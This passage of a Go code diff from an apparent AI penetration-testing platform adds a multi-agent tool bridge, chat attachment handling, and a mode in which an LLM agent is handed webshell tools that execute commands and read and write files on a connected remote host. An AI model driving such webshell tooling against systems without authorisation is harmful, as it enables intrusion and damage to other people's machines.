+	return nil
+}

internal/einomcp/holder.go

@@ -0,0 +1,21 @@
+package einomcp
+
+import "sync"
+
+// ConversationHolder 在每次 DeepAgent 运行前写入会话 ID，供 MCP 工具桥接使用。
+type ConversationHolder struct {
+	mu sync.RWMutex
+	id string
+}
+
+func (h *ConversationHolder) Set(id string) {
+	h.mu.Lock()
+	h.id = id
+	h.mu.Unlock()
+}
+
+func (h *ConversationHolder) Get() string {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	return h.id
+}

internal/einomcp/mcp_tools.go

@@ -0,0 +1,101 @@
+package einomcp
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+
+	"cyberstrike-ai/internal/agent"
+
+	"github.com/cloudwego/eino/components/tool"
+	"github.com/cloudwego/eino/schema"
+	"github.com/eino-contrib/jsonschema"
+)
+
+// ExecutionRecorder 可选，在 MCP 工具成功返回且带有 execution id 时回调（用于汇总 mcpExecutionIds）。
+type ExecutionRecorder func(executionID string)
+
+// ToolsFromDefinitions 将单 Agent 使用的 OpenAI 风格工具定义转为 Eino InvokableTool，执行时走 Agent 的 MCP 路径。
+func ToolsFromDefinitions(ag *agent.Agent, holder *ConversationHolder, defs []agent.Tool, rec ExecutionRecorder) ([]tool.BaseTool, error) {
+	out := make([]tool.BaseTool, 0, len(defs))
+	for _, d := range defs {
+		if d.Type != "function" || d.Function.Name == "" {
+			continue
+		}
+		info, err := toolInfoFromDefinition(d)
+		if err != nil {
+			return nil, fmt.Errorf("tool %q: %w", d.Function.Name, err)
+		}
+		out = append(out, &mcpBridgeTool{
+			info:   info,
+			name:   d.Function.Name,
+			agent:  ag,
+			holder: holder,
+			record: rec,
+		})
+	}
+	return out, nil
+}
+
+func toolInfoFromDefinition(d agent.Tool) (*schema.ToolInfo, error) {
+	fn := d.Function
+	raw, err := json.Marshal(fn.Parameters)
+	if err != nil {
+		return nil, err
+	}
+	var js jsonschema.Schema
+	if len(raw) > 0 && string(raw) != "null" && string(raw) != "{}" {
+		if err := json.Unmarshal(raw, &js); err != nil {
+			return nil, err
+		}
+	}
+	if js.Type == "" {
+		js.Type = string(schema.Object)
+	}
+	if js.Properties == nil && js.Type == string(schema.Object) {
+		// 空参数对象
+	}
+	return &schema.ToolInfo{
+		Name:        fn.Name,
+		Desc:        fn.Description,
+		ParamsOneOf: schema.NewParamsOneOfByJSONSchema(&js),
+	}, nil
+}
+
+type mcpBridgeTool struct {
+	info   *schema.ToolInfo
+	name   string
+	agent  *agent.Agent
+	holder *ConversationHolder
+	record ExecutionRecorder
+}
+
+func (m *mcpBridgeTool) Info(ctx context.Context) (*schema.ToolInfo, error) {
+	_ = ctx
+	return m.info, nil
+}
+
+func (m *mcpBridgeTool) InvokableRun(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (string, error) {
+	_ = opts
+	var args map[string]interface{}
+	if argumentsInJSON != "" && argumentsInJSON != "null" {
+		if err := json.Unmarshal([]byte(argumentsInJSON), &args); err != nil {
+			return "", fmt.Errorf("invalid tool arguments JSON: %w", err)
+		}
+	}
+	if args == nil {
+		args = map[string]interface{}{}
+	}
+	conv := m.holder.Get()
+	res, err := m.agent.ExecuteMCPToolForConversation(ctx, conv, m.name, args)
+	if err != nil {
+		return "", err
+	}
+	if res == nil {
+		return "", nil
+	}
+	if res.ExecutionID != "" && m.record != nil {
+		m.record(res.ExecutionID)
+	}
+	return res.Result, nil
+}

internal/handler/agent.go

@@ -2,10 +2,14 @@ package handler
 
 import (
 	"context"
+	"crypto/rand"
+	"encoding/base64"
 	"encoding/json"
 	"errors"
 	"fmt"
 	"net/http"
+	"os"
+	"path/filepath"
 	"strconv"
 	"strings"
 	"time"
@@ -15,6 +19,7 @@ import (
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/mcp/builtin"
+	"cyberstrike-ai/internal/multiagent"
 	"cyberstrike-ai/internal/skills"
 
 	"github.com/gin-gonic/gin"
@@ -73,7 +78,8 @@ type AgentHandler struct {
 	knowledgeManager interface {    // 知识库管理器接口
 		LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error
 	}
-	skillsManager *skills.Manager // Skills管理器
+	skillsManager       *skills.Manager // Skills管理器
+	agentsMarkdownDir   string          // 多代理：Markdown 子 Agent 目录（绝对路径，空则不从磁盘合并）
 }
 
 // NewAgentHandler 创建新的Agent处理器
@@ -108,11 +114,138 @@ func (h *AgentHandler) SetSkillsManager(manager *skills.Manager) {
 	h.skillsManager = manager
 }
 
+// SetAgentsMarkdownDir 设置 agents/*.md 子代理目录（绝对路径）；空表示仅使用 config.yaml 中的 sub_agents。
+func (h *AgentHandler) SetAgentsMarkdownDir(absDir string) {
+	h.agentsMarkdownDir = strings.TrimSpace(absDir)
+}
+
+// ChatAttachment 聊天附件（用户上传的文件）
+type ChatAttachment struct {
+	FileName string `json:"fileName"` // 文件名
+	Content  string `json:"content"`  // 文本内容或 base64（由 MimeType 决定是否解码）
+	MimeType string `json:"mimeType,omitempty"`
+}
+
 // ChatRequest 聊天请求
 type ChatRequest struct {
-	Message        string `json:"message" binding:"required"`
-	ConversationID string `json:"conversationId,omitempty"`
-	Role           string `json:"role,omitempty"` // 角色名称
+	Message              string           `json:"message" binding:"required"`
+	ConversationID       string           `json:"conversationId,omitempty"`
+	Role                 string           `json:"role,omitempty"` // 角色名称
+	Attachments          []ChatAttachment `json:"attachments,omitempty"`
+	WebShellConnectionID string           `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手：当前选中的连接 ID，仅使用 webshell_* 工具
+}
+
+const (
+	maxAttachments     = 10
+	chatUploadsDirName = "chat_uploads" // 对话附件保存的根目录（相对当前工作目录）
+)
+
+// saveAttachmentsToDateAndConversationDir 将附件保存到 chat_uploads/YYYY-MM-DD/{conversationID}/，返回每个文件的保存路径（与 attachments 顺序一致）
+// conversationID 为空时使用 "_new" 作为目录名（新对话尚未有 ID）
+func saveAttachmentsToDateAndConversationDir(attachments []ChatAttachment, conversationID string, logger *zap.Logger) (savedPaths []string, err error) {
+	if len(attachments) == 0 {
+		return nil, nil
+	}
+	cwd, err := os.Getwd()
+	if err != nil {
+		return nil, fmt.Errorf("获取当前工作目录失败: %w", err)
+	}
+	dateDir := filepath.Join(cwd, chatUploadsDirName, time.Now().Format("2006-01-02"))
+	convDirName := strings.TrimSpace(conversationID)
+	if convDirName == "" {
+		convDirName = "_new"
+	} else {
+		convDirName = strings.ReplaceAll(convDirName, string(filepath.Separator), "_")
+	}
+	targetDir := filepath.Join(dateDir, convDirName)
+	if err = os.MkdirAll(targetDir, 0755); err != nil {
+		return nil, fmt.Errorf("创建上传目录失败: %w", err)
+	}
+	savedPaths = make([]string, 0, len(attachments))
+	for i, a := range attachments {
+		raw, decErr := attachmentContentToBytes(a)
+		if decErr != nil {
+			return nil, fmt.Errorf("附件 %s 解码失败: %w", a.FileName, decErr)
+		}
+		baseName := filepath.Base(a.FileName)
+		if baseName == "" || baseName == "." {
+			baseName = "file"
+		}
+		baseName = strings.ReplaceAll(baseName, string(filepath.Separator), "_")
+		ext := filepath.Ext(baseName)
+		nameNoExt := strings.TrimSuffix(baseName, ext)
+		suffix := fmt.Sprintf("_%s_%s", time.Now().Format("150405"), shortRand(6))
+		var unique string
+		if ext != "" {
+			unique = nameNoExt + suffix + ext
+		} else {
+			unique = baseName + suffix
+		}
+		fullPath := filepath.Join(targetDir, unique)
+		if err = os.WriteFile(fullPath, raw, 0644); err != nil {
+			return nil, fmt.Errorf("写入文件 %s 失败: %w", a.FileName, err)
+		}
+		absPath, _ := filepath.Abs(fullPath)
+		savedPaths = append(savedPaths, absPath)
+		if logger != nil {
+			logger.Debug("对话附件已保存", zap.Int("index", i+1), zap.String("fileName", a.FileName), zap.String("path", absPath))
+		}
+	}
+	return savedPaths, nil
+}
+
+func shortRand(n int) string {
+	const letters = "0123456789abcdef"
+	b := make([]byte, n)
+	_, _ = rand.Read(b)
+	for i := range b {
+		b[i] = letters[int(b[i])%len(letters)]
+	}
+	return string(b)
+}
+
+func attachmentContentToBytes(a ChatAttachment) ([]byte, error) {
+	content := a.Content
+	if decoded, err := base64.StdEncoding.DecodeString(content); err == nil && len(decoded) > 0 {
+		return decoded, nil
+	}
+	return []byte(content), nil
+}
+
+// userMessageContentForStorage 返回要存入数据库的用户消息内容：有附件时在正文后追加附件名（及路径），刷新后仍能显示，继续对话时大模型也能从历史中拿到路径
+func userMessageContentForStorage(message string, attachments []ChatAttachment, savedPaths []string) string {
+	if len(attachments) == 0 {
+		return message
+	}
+	var b strings.Builder
+	b.WriteString(message)
+	for i, a := range attachments {
+		b.WriteString("\n📎 ")
+		b.WriteString(a.FileName)
+		if i < len(savedPaths) && savedPaths[i] != "" {
+			b.WriteString(": ")
+			b.WriteString(savedPaths[i])
+		}
+	}
+	return b.String()
+}
+
+// appendAttachmentsToMessage 仅将附件的保存路径追加到用户消息末尾，不再内联附件内容，避免上下文过长
+func appendAttachmentsToMessage(msg string, attachments []ChatAttachment, savedPaths []string) string {
+	if len(attachments) == 0 {
+		return msg
+	}
+	var b strings.Builder
+	b.WriteString(msg)
+	b.WriteString("\n\n[用户上传的文件已保存到以下路径（请按需读取文件内容，而不是依赖内联内容）]\n")
+	for i, a := range attachments {
+		if i < len(savedPaths) && savedPaths[i] != "" {
+			b.WriteString(fmt.Sprintf("- %s: %s\n", a.FileName, savedPaths[i]))
+		} else {
+			b.WriteString(fmt.Sprintf("- %s: （路径未知，可能保存失败）\n", a.FileName))
+		}
+	}
+	return b.String()
 }
 
 // ChatResponse 聊天响应
@@ -181,11 +314,44 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
 		h.logger.Info("从ReAct数据恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
 	}
 
+	// 校验附件数量（非流式）
+	if len(req.Attachments) > maxAttachments {
+		c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("附件最多 %d 个", maxAttachments)})
+		return
+	}
+
 	// 应用角色用户提示词和工具配置
 	finalMessage := req.Message
-	var roleTools []string // 角色配置的工具列表
+	var roleTools []string  // 角色配置的工具列表
 	var roleSkills []string // 角色配置的skills列表（用于提示AI，但不硬编码内容）
-	if req.Role != "" && req.Role != "默认" {
+
+	// WebShell AI 助手模式：绑定当前连接，仅开放 webshell_* 工具并注入 connection_id
+	if req.WebShellConnectionID != "" {
+		conn, err := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
+		if err != nil || conn == nil {
+			h.logger.Warn("WebShell AI 助手：未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(err))
+			c.JSON(http.StatusBadRequest, gin.H{"error": "未找到该 WebShell 连接"})
+			return
+		}
+		remark := conn.Remark
+		if remark == "" {
+			remark = conn.URL
+		}
+		finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID：%s，备注：%s。可用工具（仅在该连接上操作时使用，connection_id 填 \"%s\"）：webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步：若仅为问候、闲聊或简单问题，直接简短回复即可，不必调用工具；当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求：%s",
+			conn.ID, remark, conn.ID, req.Message)
+		roleTools = []string{
+			builtin.ToolWebshellExec,
+			builtin.ToolWebshellFileList,
+			builtin.ToolWebshellFileRead,
+			builtin.ToolWebshellFileWrite,
+			builtin.ToolRecordVulnerability,
+			builtin.ToolListKnowledgeRiskTypes,
+			builtin.ToolSearchKnowledgeBase,
+			builtin.ToolListSkills,
+			builtin.ToolReadSkill,
+		}
+		roleSkills = nil
+	} else if req.Role != "" && req.Role != "默认" {
 		if h.config.Roles != nil {
 			if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
 				// 应用用户提示词
@@ -206,9 +372,20 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
 			}
 		}
 	}
+	var savedPaths []string
+	if len(req.Attachments) > 0 {
+		savedPaths, err = saveAttachmentsToDateAndConversationDir(req.Attachments, conversationID, h.logger)
+		if err != nil {
+			h.logger.Error("保存对话附件失败", zap.Error(err))
+			c.JSON(http.StatusInternalServerError, gin.H{"error": "保存上传文件失败: " + err.Error()})
+			return
+		}
+	}
+	finalMessage = appendAttachmentsToMessage(finalMessage, req.Attachments, savedPaths)
 
-	// 保存用户消息（保存原始消息，不包含角色提示词）
-	_, err = h.db.AddMessage(conversationID, "user", req.Message, nil)
+	// 保存用户消息：有附件时一并保存附件名与路径，刷新后显示、继续对话时大模型也能从历史中拿到路径
+	userContent := userMessageContentForStorage(req.Message, req.Attachments, savedPaths)
+	_, err = h.db.AddMessage(conversationID, "user", userContent, nil)
 	if err != nil {
 		h.logger.Error("保存用户消息失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "保存用户消息失败: " + err.Error()})
@@ -259,6 +436,143 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
 	})
 }
 
+// ProcessMessageForRobot 供机器人（企业微信/钉钉/飞书）调用：与 /api/agent-loop/stream 相同执行路径（含 progressCallback、过程详情），仅不发送 SSE，最后返回完整回复
+func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationID, message, role string) (response string, convID string, err error) {
+	if conversationID == "" {
+		title := safeTruncateString(message, 50)
+		conv, createErr := h.db.CreateConversation(title)
+		if createErr != nil {
+			return "", "", fmt.Errorf("创建对话失败: %w", createErr)
+		}
+		conversationID = conv.ID
+	} else {
+		if _, getErr := h.db.GetConversation(conversationID); getErr != nil {
+			return "", "", fmt.Errorf("对话不存在")
+		}
+	}
+
+	agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
+	if err != nil {
+		historyMessages, getErr := h.db.GetMessages(conversationID)
+		if getErr != nil {
+			agentHistoryMessages = []agent.ChatMessage{}
+		} else {
+			agentHistoryMessages = make([]agent.ChatMessage, 0, len(historyMessages))
+			for _, msg := range historyMessages {
+				agentHistoryMessages = append(agentHistoryMessages, agent.ChatMessage{Role: msg.Role, Content: msg.Content})
+			}
+		}
+	}
+
+	finalMessage := message
+	var roleTools, roleSkills []string
+	if role != "" && role != "默认" && h.config.Roles != nil {
+		if r, exists := h.config.Roles[role]; exists && r.Enabled {
+			if r.UserPrompt != "" {
+				finalMessage = r.UserPrompt + "\n\n" + message
+			}
+			roleTools = r.Tools
+			roleSkills = r.Skills
+		}
+	}
+
+	if _, err = h.db.AddMessage(conversationID, "user", message, nil); err != nil {
+		return "", "", fmt.Errorf("保存用户消息失败: %w", err)
+	}
+
+	// 与 agent-loop/stream 一致：先创建助手消息占位，用 progressCallback 写过程详情（不发送 SSE）
+	assistantMsg, err := h.db.AddMessage(conversationID, "assistant", "处理中...", nil)
+	if err != nil {
+		h.logger.Warn("机器人：创建助手消息占位失败", zap.Error(err))
+	}
+	var assistantMessageID string
+	if assistantMsg != nil {
+		assistantMessageID = assistantMsg.ID
+	}
+	progressCallback := h.createProgressCallback(conversationID, assistantMessageID, nil)
+
+	useRobotMulti := h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.RobotUseMultiAgent
+	if useRobotMulti {
+		resultMA, errMA := multiagent.RunDeepAgent(
+			ctx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			conversationID,
+			finalMessage,
+			agentHistoryMessages,
+			roleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+		)
+		if errMA != nil {
+			errMsg := "执行失败: " + errMA.Error()
+			if assistantMessageID != "" {
+				_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
+				_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errMsg, nil)
+			}
+			return "", conversationID, errMA
+		}
+		if assistantMessageID != "" {
+			mcpIDsJSON := ""
+			if len(resultMA.MCPExecutionIDs) > 0 {
+				jsonData, _ := json.Marshal(resultMA.MCPExecutionIDs)
+				mcpIDsJSON = string(jsonData)
+			}
+			_, err = h.db.Exec(
+				"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
+				resultMA.Response, mcpIDsJSON, assistantMessageID,
+			)
+			if err != nil {
+				h.logger.Warn("机器人：更新助手消息失败", zap.Error(err))
+			}
+		} else {
+			if _, err = h.db.AddMessage(conversationID, "assistant", resultMA.Response, resultMA.MCPExecutionIDs); err != nil {
+				h.logger.Warn("机器人：保存助手消息失败", zap.Error(err))
+			}
+		}
+		if resultMA.LastReActInput != "" || resultMA.LastReActOutput != "" {
+			_ = h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput)
+		}
+		return resultMA.Response, conversationID, nil
+	}
+
+	result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
+	if err != nil {
+		errMsg := "执行失败: " + err.Error()
+		if assistantMessageID != "" {
+			_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
+			_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errMsg, nil)
+		}
+		return "", conversationID, err
+	}
+
+	// 更新助手消息内容与 MCP 执行 ID（与 stream 一致）
+	if assistantMessageID != "" {
+		mcpIDsJSON := ""
+		if len(result.MCPExecutionIDs) > 0 {
+			jsonData, _ := json.Marshal(result.MCPExecutionIDs)
+			mcpIDsJSON = string(jsonData)
+		}
+		_, err = h.db.Exec(
+			"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
+			result.Response, mcpIDsJSON, assistantMessageID,
+		)
+		if err != nil {
+			h.logger.Warn("机器人：更新助手消息失败", zap.Error(err))
+		}
+	} else {
+		if _, err = h.db.AddMessage(conversationID, "assistant", result.Response, result.MCPExecutionIDs); err != nil {
+			h.logger.Warn("机器人：保存助手消息失败", zap.Error(err))
+		}
+	}
+	if result.LastReActInput != "" || result.LastReActOutput != "" {
+		_ = h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput)
+	}
+	return result.Response, conversationID, nil
+}
+
 // StreamEvent 流式事件
 type StreamEvent struct {
 	Type    string      `json:"type"`    // conversation, progress, tool_call, tool_result, response, error, cancelled, done
@@ -402,8 +716,27 @@ func (h *AgentHandler) createProgressCallback(conversationID, assistantMessageID
 			}
 		}
 
-		// 保存过程详情到数据库（排除response和done事件，它们会在后面单独处理）
-		if assistantMessageID != "" && eventType != "response" && eventType != "done" {
+		// 子代理回复流式增量不落库；结束时合并为一条 eino_agent_reply
+		if assistantMessageID != "" && eventType == "eino_agent_reply_stream_end" {
+			if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "eino_agent_reply", message, data); err != nil {
+				h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
+			}
+			return
+		}
+
+		// 保存过程详情到数据库（排除response/done事件，它们会在后面单独处理）
+		// 另外：response_start/response_delta 是模型流式增量，保存会导致过程详情膨胀，因此不落库。
+		if assistantMessageID != "" &&
+			eventType != "response" &&
+			eventType != "done" &&
+			eventType != "response_start" &&
+			eventType != "response_delta" &&
+			eventType != "tool_result_delta" &&
+			eventType != "thinking_stream_start" &&
+			eventType != "thinking_stream_delta" &&
+			eventType != "eino_agent_reply_stream_start" &&
+			eventType != "eino_agent_reply_stream_delta" &&
+			eventType != "eino_agent_reply_stream_end" {
 			if err := h.db.AddProcessDetail(assistantMessageID, conversationID, eventType, message, data); err != nil {
 				h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
 			}
@@ -443,8 +776,53 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
 	// 发送初始事件
 	// 用于跟踪客户端是否已断开连接
 	clientDisconnected := false
+	// 用于快速确认模型是否真的产生了流式 delta
+	var responseDeltaCount int
+	var responseStartLogged bool
 
 	sendEvent := func(eventType, message string, data interface{}) {
+		if eventType == "response_start" {
+			responseDeltaCount = 0
+			responseStartLogged = true
+			h.logger.Info("SSE: response_start",
+				zap.Int("conversationIdPresent", func() int {
+					if m, ok := data.(map[string]interface{}); ok {
+						if v, ok2 := m["conversationId"]; ok2 && v != nil && fmt.Sprint(v) != "" {
+							return 1
+						}
+					}
+					return 0
+				}()),
+				zap.String("messageGeneratedBy", func() string {
+					if m, ok := data.(map[string]interface{}); ok {
+						if v, ok2 := m["messageGeneratedBy"]; ok2 {
+							if s, ok3 := v.(string); ok3 {
+								return s
+							}
+							return fmt.Sprint(v)
+						}
+					}
+					return ""
+				}()),
+			)
+		} else if eventType == "response_delta" {
+			responseDeltaCount++
+			// 只打前几条，避免刷屏
+			if responseStartLogged && responseDeltaCount <= 3 {
+				h.logger.Info("SSE: response_delta",
+					zap.Int("index", responseDeltaCount),
+					zap.Int("deltaLen", len(message)),
+					zap.String("deltaPreview", func() string {
+						p := strings.ReplaceAll(message, "\n", "\\n")
+						if len(p) > 80 {
+							return p[:80] + "..."
+						}
+						return p
+					}()),
+				)
+			}
+		}
+
 		// 如果客户端已断开，不再发送事件
 		if clientDisconnected {
 			return
@@ -480,11 +858,17 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
 		}
 	}
 
-	// 如果没有对话ID，创建新对话
+	// 如果没有对话ID，创建新对话（WebShell 助手模式下关联连接 ID 以便持久化展示）
 	conversationID := req.ConversationID
 	if conversationID == "" {
 		title := safeTruncateString(req.Message, 50)
-		conv, err := h.db.CreateConversation(title)
+		var conv *database.Conversation
+		var err error
+		if req.WebShellConnectionID != "" {
+			conv, err = h.db.CreateConversationWithWebshell(strings.TrimSpace(req.WebShellConnectionID), title)
+		} else {
+			conv, err = h.db.CreateConversation(title)
+		}
 		if err != nil {
 			h.logger.Error("创建对话失败", zap.Error(err))
 			sendEvent("error", "创建对话失败: "+err.Error(), nil)
@@ -528,10 +912,41 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
 		h.logger.Info("从ReAct数据恢复历史上下文", zap.Int("count", len(agentHistoryMessages)))
 	}
 
+	// 校验附件数量
+	if len(req.Attachments) > maxAttachments {
+		sendEvent("error", fmt.Sprintf("附件最多 %d 个", maxAttachments), nil)
+		return
+	}
+
 	// 应用角色用户提示词和工具配置
 	finalMessage := req.Message
 	var roleTools []string // 角色配置的工具列表
-	if req.Role != "" && req.Role != "默认" {
+	var roleSkills []string
+	if req.WebShellConnectionID != "" {
+		conn, errConn := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
+		if errConn != nil || conn == nil {
+			h.logger.Warn("WebShell AI 助手：未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
+			sendEvent("error", "未找到该 WebShell 连接", nil)
+			return
+		}
+		remark := conn.Remark
+		if remark == "" {
+			remark = conn.URL
+		}
+		finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID：%s，备注：%s。可用工具（仅在该连接上操作时使用，connection_id 填 \"%s\"）：webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步：若仅为问候、闲聊或简单问题，直接简短回复即可，不必调用工具；当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求：%s",
+			conn.ID, remark, conn.ID, req.Message)
+		roleTools = []string{
+			builtin.ToolWebshellExec,
+			builtin.ToolWebshellFileList,
+			builtin.ToolWebshellFileRead,
+			builtin.ToolWebshellFileWrite,
+			builtin.ToolRecordVulnerability,
+			builtin.ToolListKnowledgeRiskTypes,
+			builtin.ToolSearchKnowledgeBase,
+			builtin.ToolListSkills,
+			builtin.ToolReadSkill,
+		}
+	} else if req.Role != "" && req.Role != "默认" {
 		if h.config.Roles != nil {
 			if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
 				// 应用用户提示词
@@ -550,15 +965,28 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
 				}
 				// 注意：角色配置的skills不再硬编码注入，AI可以通过list_skills和read_skill工具按需调用
 				if len(role.Skills) > 0 {
+					roleSkills = role.Skills
 					h.logger.Info("角色配置了skills，AI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills))
 				}
 			}
 		}
 	}
+	var savedPaths []string
+	if len(req.Attachments) > 0 {
+		savedPaths, err = saveAttachmentsToDateAndConversationDir(req.Attachments, conversationID, h.logger)
+		if err != nil {
+			h.logger.Error("保存对话附件失败", zap.Error(err))
+			sendEvent("error", "保存上传文件失败: "+err.Error(), nil)
+			return
+		}
+	}
+	// 仅将附件保存路径追加到 finalMessage，避免将文件内容内联到大模型上下文中
+	finalMessage = appendAttachmentsToMessage(finalMessage, req.Attachments, savedPaths)
 	// 如果roleTools为空，表示使用所有工具（默认角色或未配置工具的角色）
 
-	// 保存用户消息（保存原始消息，不包含角色提示词）
-	_, err = h.db.AddMessage(conversationID, "user", req.Message, nil)
+	// 保存用户消息：有附件时一并保存附件名与路径，刷新后显示、继续对话时大模型也能从历史中拿到路径
+	userContent := userMessageContentForStorage(req.Message, req.Attachments, savedPaths)
+	_, err = h.db.AddMessage(conversationID, "user", userContent, nil)
 	if err != nil {
 		h.logger.Error("保存用户消息失败", zap.Error(err))
 	}
@@ -636,17 +1064,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
 
 	// 执行Agent Loop，传入独立的上下文，确保任务不会因客户端断开而中断（使用包含角色提示词的finalMessage和角色工具列表）
 	sendEvent("progress", "正在分析您的请求...", nil)
-	// 注意：skills不会硬编码注入，但会在系统提示词中提示AI这个角色推荐使用哪些skills
-	var roleSkills []string // 角色配置的skills列表（用于提示AI，但不硬编码内容）
-	if req.Role != "" && req.Role != "默认" {
-		if h.config.Roles != nil {
-			if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
-				if len(role.Skills) > 0 {
-					roleSkills = role.Skills
-				}
-			}
-		}
-	}
+	// 注意：roleSkills 已在上方根据 req.Role 或 WebShell 模式设置
 	result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
 	if err != nil {
 		h.logger.Error("Agent Loop执行失败", zap.Error(err))
@@ -1146,7 +1564,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 
 		// 应用角色用户提示词和工具配置
 		finalMessage := task.Message
-		var roleTools []string // 角色配置的工具列表
+		var roleTools []string  // 角色配置的工具列表
 		var roleSkills []string // 角色配置的skills列表（用于提示AI，但不硬编码内容）
 		if queue.Role != "" && queue.Role != "默认" {
 			if h.config.Roles != nil {
@@ -1194,33 +1612,48 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 		// 执行任务（使用包含角色提示词的finalMessage和角色工具列表）
 		h.logger.Info("执行批量任务", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("message", task.Message), zap.String("role", queue.Role), zap.String("conversationId", conversationID))
 
-		ctx, cancel := context.WithTimeout(context.Background(), 30*time.Minute)
+		// 单个子任务超时时间：从30分钟调整为6小时，适配长时间渗透/扫描任务
+		ctx, cancel := context.WithTimeout(context.Background(), 6*time.Hour)
 		// 存储取消函数，以便在取消队列时能够取消当前任务
 		h.batchTaskManager.SetTaskCancel(queueID, cancel)
 		// 使用队列配置的角色工具列表（如果为空，表示使用所有工具）
 		// 注意：skills不会硬编码注入，但会在系统提示词中提示AI这个角色推荐使用哪些skills
-		result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
+		useBatchMulti := h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.BatchUseMultiAgent
+		var result *agent.AgentLoopResult
+		var resultMA *multiagent.RunResult
+		var runErr error
+		if useBatchMulti {
+			resultMA, runErr = multiagent.RunDeepAgent(ctx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir)
+		} else {
+			result, runErr = h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
+		}
 		// 任务执行完成，清理取消函数
 		h.batchTaskManager.SetTaskCancel(queueID, nil)
 		cancel()
 
-		if err != nil {
+		if runErr != nil {
 			// 检查是否是取消错误
 			// 1. 直接检查是否是 context.Canceled（包括包装后的错误）
 			// 2. 检查错误消息中是否包含"context canceled"或"cancelled"关键字
 			// 3. 检查 result.Response 中是否包含取消相关的消息
-			errStr := err.Error()
-			isCancelled := errors.Is(err, context.Canceled) ||
+			errStr := runErr.Error()
+			partialResp := ""
+			if result != nil {
+				partialResp = result.Response
+			} else if resultMA != nil {
+				partialResp = resultMA.Response
+			}
+			isCancelled := errors.Is(runErr, context.Canceled) ||
 				strings.Contains(strings.ToLower(errStr), "context canceled") ||
 				strings.Contains(strings.ToLower(errStr), "context cancelled") ||
-				(result != nil && result.Response != "" && (strings.Contains(result.Response, "任务已被取消") || strings.Contains(result.Response, "任务执行中断")))
+				(partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")))
 
 			if isCancelled {
 				h.logger.Info("批量任务被取消", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
 				cancelMsg := "任务已被用户取消，后续操作已停止。"
-				// 如果result中有更具体的取消消息，使用它
-				if result != nil && result.Response != "" && (strings.Contains(result.Response, "任务已被取消") || strings.Contains(result.Response, "任务执行中断")) {
-					cancelMsg = result.Response
+				// 如果执行结果中有更具体的取消消息，使用它
